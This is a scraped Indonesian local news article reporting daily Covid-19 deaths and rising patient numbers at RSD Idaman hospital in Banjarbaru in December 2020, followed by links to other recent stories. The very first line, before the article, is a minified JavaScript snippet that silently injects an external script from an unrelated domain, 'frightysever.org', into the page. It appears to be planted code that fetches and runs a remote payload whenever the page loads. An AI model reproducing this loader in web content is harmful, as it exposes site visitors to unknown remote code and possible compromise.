(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

RSD Idaman Tiap Hari Hadapi Pasien Covid Meninggal


KANALKALIMANTAN.COM, BANJARBARU – Memasuki awal Desember 2020 kasus Covid-19 di kota Banjarbaru terus meningkat. Bahkan, kini setiap harinya Rumah Sakit Idaman (RSD) Banjarbaru dihadapkan pada kasus meninggalnya pasien akibat paparan virus.

Kepala Bagian Tata Usaha RSD Idaman Banjarbaru, M Firmansyah, menyatakan bahwa rentetan kasus meninggalnya pasien mulai terjadi sejak 26 November lalu. Tepat seusai masa libur panjang.

“Sejak 26 November hingga sekarang, kami selalu menangani pasien yang meninggal setiap harinya. Terutama pada 27 November, ada dua pasien yang meninggal,” katanya, Selasa (1/12/2020) siang.

RSD Idaman Banjarbaru mencatat jumlah pasien yang telah dinyatakan meninggal dunia mencapai 11 orang.

 

Dijelaskan Firman -akrab disapa-, bahwa jumlah itu didominasi pasien yang berstatus terkonfirmasi Covid-19.

Adapun dari 11 pasien yang meninggal dunia itu, enam di antaranya berstatus positif Covid-19. Sementara tiga orang berstatus probable yang mana hasil tes swabnya belum diketahui. Lalu sisanya, satu pasien dinyatakan negatif Covid-19 dan satu pasien yang belum dilakukan uji swab.

“Makin kesini, pasien yang meninggal dunia kebanyakan berstatus terkonfirmasi Covid-19. Ini harus menjadi perhatian kita semua,” terang dia.

Data Covid-19 di Kota Banjarbaru per 1 Desember 2020. Grafis: Diskominfo Banjarbaru

Tak hanya meningkatnya angka kematian pasien, RSD Idaman Banjarbaru juga tengah merawat setidaknya 26 pasien sampai saat ini. Mereka terdiri dari 11 pasien yang dinyatakan positif Covid-19 dan sisanya mempunyai gejala infeksi virus, seperti turunnya tingkat saturasi oksigen.

“Yang sisanya itu hanya mempunyai gejala, namun tetap harus dirawat sembari menunggu hasil swabnya keluar. Padahal di Oktober kemarin kami hanya menangani 11 pasien, sekarang malah bertambah menjadi 26 pasien,” imbuhnya.

Data Covid-19 di Kota Banjarbaru per 1 Desember 2020. Grafis: Diskominfo Banjarbaru

Atas meningkatnya jumlah pasien Covid-19 di Banjarbaru, Firman mengimbau kepada masyarakat untuk lebih ketat dalam menerapkan protokol kesehatan. Ia juga meminta kepada masyarakat untuk sesegera mungkin memeriksa kesehatan jika memiliki gejala infeksi virus.

“Masyarakat jangan takut untuk memeriksakan diri ke rumah sakit. Di sini kami menerapkan protokol kesehatan yang sangat ketat. Lebih baik periksa secara dini, sebelum terlambat,” lugas dia. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Dhani

 


Al Ghifari

Recent Posts

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

2 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

2 jam ago

Satpol PP Banjar Dapati 7 Penjual Anakan Ikan

KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More

2 jam ago

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

3 jam ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

15 jam ago

Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More

16 jam ago

This website uses cookies.